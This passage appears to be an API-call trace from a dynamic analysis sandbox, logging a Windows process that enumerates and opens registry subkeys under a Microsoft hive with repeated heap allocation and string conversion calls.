Flags=0x0, BaseAddress=0xd3c0d8) returned 1 [0193.602] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3bbb8) returned 1 [0193.602] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x6, lpName=0xd3b930, cchName=0x104 | out: lpName="Microsoft") returned 0x0 [0193.602] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3bbb8 [0193.602] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0193.602] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c0d8 [0193.602] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0xd3c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft", lpUsedDefaultChar=0x0) returned 9 [0193.602] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.602] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c0d8) returned 1 [0193.602] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.602] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3bbb8) returned 1 [0193.602] RegOpenKeyExW (in: hKey=0xa0, lpSubKey="Microsoft", ulOptions=0x0, samDesired=0x20109, phkResult=0x37f75c | out: phkResult=0x37f75c*=0x24) returned 0x0 [0193.602] RegCloseKey (hKey=0xa0) returned 0x0 [0193.602] RegEnumKeyW (in: hKey=0x24, dwIndex=0x0, lpName=0xd3b930, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0193.602] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3bbb8 [0193.602] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0193.603] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.603] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0xd3c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0193.603] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c0d8 [0193.603] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.603] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c0d8) returned 1 [0193.603] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3bbb8) returned 1 [0193.603] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1, lpName=0xd3b930, cchName=0x104 | out: lpName="Active Setup") returned 0x0 [0193.603] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3bbb8 [0193.603] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0193.603] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c0d8 [0193.603] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0xd3c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="active setup", lpUsedDefaultChar=0x0) returned 12 [0193.603] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.603] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c0d8) returned 1 [0193.603] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.603] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3bbb8) returned 1 [0193.603] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2, lpName=0xd3b930, cchName=0x104 | out: lpName="ADs") returned 0x0 [0193.603] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3bbb8 [0193.603] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ads", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0193.603] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.603] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ads", cchWideChar=3, lpMultiByteStr=0xd3c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ads", lpUsedDefaultChar=0x0) returned 3 [0193.603] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c0d8 [0193.603] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.603] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c0d8) returned 1 [0193.603] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3bbb8) returned 1 [0193.603] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3, lpName=0xd3b930, cchName=0x104 | out: lpName="Advanced INF Setup") returned 0x0 [0193.603] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3bbb8 [0193.603] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0193.603] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c0d8 [0193.603] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0xd3c0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="advanced inf setup", lpUsedDefaultChar=0x0) returned 18 [0193.603] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.603] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c0d8) returned 1 [0193.603] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.604] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3bbb8) returned 1 [0193.604] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4, lpName=0xd3b930, cchName=0x104 | out: lpName="ALG") returned 0x0 [0193.604] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3bbb8 [0193.604] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0193.604] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.604] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0xd3c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0193.604] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c0d8 [0193.604] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.604] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c0d8) returned 1 [0193.604] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3bbb8) returned 1 [0193.604] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5, lpName=0xd3b930, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0193.604] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3bbb8 [0193.604] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0193.604] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c0d8 [0193.604] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0xd3c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0193.604] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.604] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c0d8) returned 1 [0193.604] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.604] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3bbb8) returned 1 [0193.604] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6, lpName=0xd3b930, cchName=0x104 | out: lpName="Assistance") returned 0x0 [0193.604] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3bbb8 [0193.604] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0193.604] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.604] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0xd3c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="assistance", lpUsedDefaultChar=0x0) returned 10 [0193.604] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c0d8 [0193.604] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.604] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c0d8) returned 1 [0193.604] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3bbb8) returned 1 [0193.604] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7, lpName=0xd3b930, cchName=0x104 | out: lpName="BidInterface") returned 0x0 [0193.604] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3bbb8 [0193.604] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bidinterface", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0193.605] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c0d8 [0193.605] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bidinterface", cchWideChar=12, lpMultiByteStr=0xd3c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bidinterface", lpUsedDefaultChar=0x0) returned 12 [0193.605] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.605] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c0d8) returned 1 [0193.605] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.605] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3bbb8) returned 1 [0193.605] RegEnumKeyW (in: hKey=0x24, dwIndex=0x8, lpName=0xd3b930, cchName=0x104 | out: lpName="COM3") returned 0x0 [0193.605] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3bbb8 [0193.605] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="com3", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0193.605] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.605] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="com3", cchWideChar=4, lpMultiByteStr=0xd3c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="com3", lpUsedDefaultChar=0x0) returned 4 [0193.605] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c0d8 [0193.605] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.605] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c0d8) returned 1 [0193.605] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3bbb8) returned 1 [0193.605] RegEnumKeyW (in: hKey=0x24, dwIndex=0x9, lpName=0xd3b930, cchName=0x104 | out: lpName="Command Processor") returned 0x0 [0193.605] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3bbb8 [0193.605] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0193.605] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c0d8 [0193.605] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0xd3c0d8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="command processor", lpUsedDefaultChar=0x0) returned 17 [0193.605] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.605] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c0d8) returned 1 [0193.605] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.605] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3bbb8) returned 1 [0193.605] RegEnumKeyW (in: hKey=0x24, dwIndex=0xa, lpName=0xd3b930, cchName=0x104 | out: lpName="Connect to a Network Projector") returned 0x0 [0193.605] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3bbb8 [0193.605] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="connect to a network projector", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0193.605] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.605] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="connect to a network projector", cchWideChar=30, lpMultiByteStr=0xd3c120, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="connect to a network projector", lpUsedDefaultChar=0x0) returned 30 [0193.605] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c0d8 [0193.605] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.605] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c0d8) returned 1 [0193.606] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3bbb8) returned 1 [0193.606] RegEnumKeyW (in: hKey=0x24, dwIndex=0xb, lpName=0xd3b930, cchName=0x104 | out: lpName="Cryptography") returned 0x0 [0193.606] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3bbb8 [0193.606] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptography", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0193.606] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c0d8 [0193.606] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptography", cchWideChar=12, lpMultiByteStr=0xd3c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cryptography", lpUsedDefaultChar=0x0) returned 12 [0193.606] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.606] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c0d8) returned 1 [0193.606] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.606] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3bbb8) returned 1 [0193.606] RegEnumKeyW (in: hKey=0x24, dwIndex=0xc, lpName=0xd3b930, cchName=0x104 | out: lpName="CTF") returned 0x0 [0193.606] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3bbb8 [0193.606] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0193.606] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.606] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0xd3c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ctf", lpUsedDefaultChar=0x0) returned 3 [0193.606] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c0d8 [0193.606] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.606] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c0d8) returned 1 [0193.606] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3bbb8) returned 1 [0193.606] RegEnumKeyW (in: hKey=0x24, dwIndex=0xd, lpName=0xd3b930, cchName=0x104 | out: lpName="DataAccess") returned 0x0 [0193.606] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3bbb8 [0193.606] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dataaccess", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0193.606] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c0d8 [0193.606] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dataaccess", cchWideChar=10, lpMultiByteStr=0xd3c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dataaccess", lpUsedDefaultChar=0x0) returned 10 [0193.606] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.606] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c0d8) returned 1 [0193.606] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.606] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3bbb8) returned 1 [0193.606] RegEnumKeyW (in: hKey=0x24, dwIndex=0xe, lpName=0xd3b930, cchName=0x104 | out: lpName="DataFactory") returned 0x0 [0193.606] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3bbb8 [0193.606] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datafactory", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0193.606] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.606] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datafactory", cchWideChar=11, lpMultiByteStr=0xd3c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="datafactory", lpUsedDefaultChar=0x0) returned 11 [0193.607] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c0d8 [0193.607] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.607] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c0d8) returned 1 [0193.607] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3bbb8) returned 1 [0193.607] RegEnumKeyW (in: hKey=0x24, dwIndex=0xf, lpName=0xd3b930, cchName=0x104 | out: lpName="DevDiv") returned 0x0 [0193.607] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3bbb8 [0193.607] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="devdiv", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0193.607] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c0d8 [0193.607] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="devdiv", cchWideChar=6, lpMultiByteStr=0xd3c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="devdiv", lpUsedDefaultChar=0x0) returned 6 [0193.607] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.607] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c0d8) returned 1 [0193.607] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.607] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3bbb8) returned 1 [0193.607] RegEnumKeyW (in: hKey=0x24, dwIndex=0x10, lpName=0xd3b930, cchName=0x104 | out: lpName="Dfrg") returned 0x0 [0193.607] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3bbb8 [0193.607] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfrg", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0193.607] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.607] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfrg", cchWideChar=4, lpMultiByteStr=0xd3c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfrg", lpUsedDefaultChar=0x0) returned 4 [0193.607] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c0d8 [0193.607] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.607] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c0d8) returned 1 [0193.607] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3bbb8) returned 1 [0193.607] RegEnumKeyW (in: hKey=0x24, dwIndex=0x11, lpName=0xd3b930, cchName=0x104 | out: lpName="DFS") returned 0x0 [0193.607] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3bbb8 [0193.607] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfs", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0193.607] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c0d8 [0193.607] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfs", cchWideChar=3, lpMultiByteStr=0xd3c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfs", lpUsedDefaultChar=0x0) returned 3 [0193.607] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.607] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c0d8) returned 1 [0193.607] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.607] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3bbb8) returned 1 [0193.607] RegEnumKeyW (in: hKey=0x24, dwIndex=0x12, lpName=0xd3b930, cchName=0x104 | out: lpName="DirectDraw") returned 0x0 [0193.607] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3bbb8 [0193.608] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directdraw", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0193.608] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.608] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directdraw", cchWideChar=10, lpMultiByteStr=0xd3c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directdraw", lpUsedDefaultChar=0x0) returned 10 [0193.608] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c0d8 [0193.608] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.608] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c0d8) returned 1 [0193.608] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3bbb8) returned 1 [0193.608] RegEnumKeyW (in: hKey=0x24, dwIndex=0x13, lpName=0xd3b930, cchName=0x104 | out: lpName="DirectInput") returned 0x0 [0193.608] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x80) returned 0xd3bbb8 [0193.608] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directinput", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0193.608] 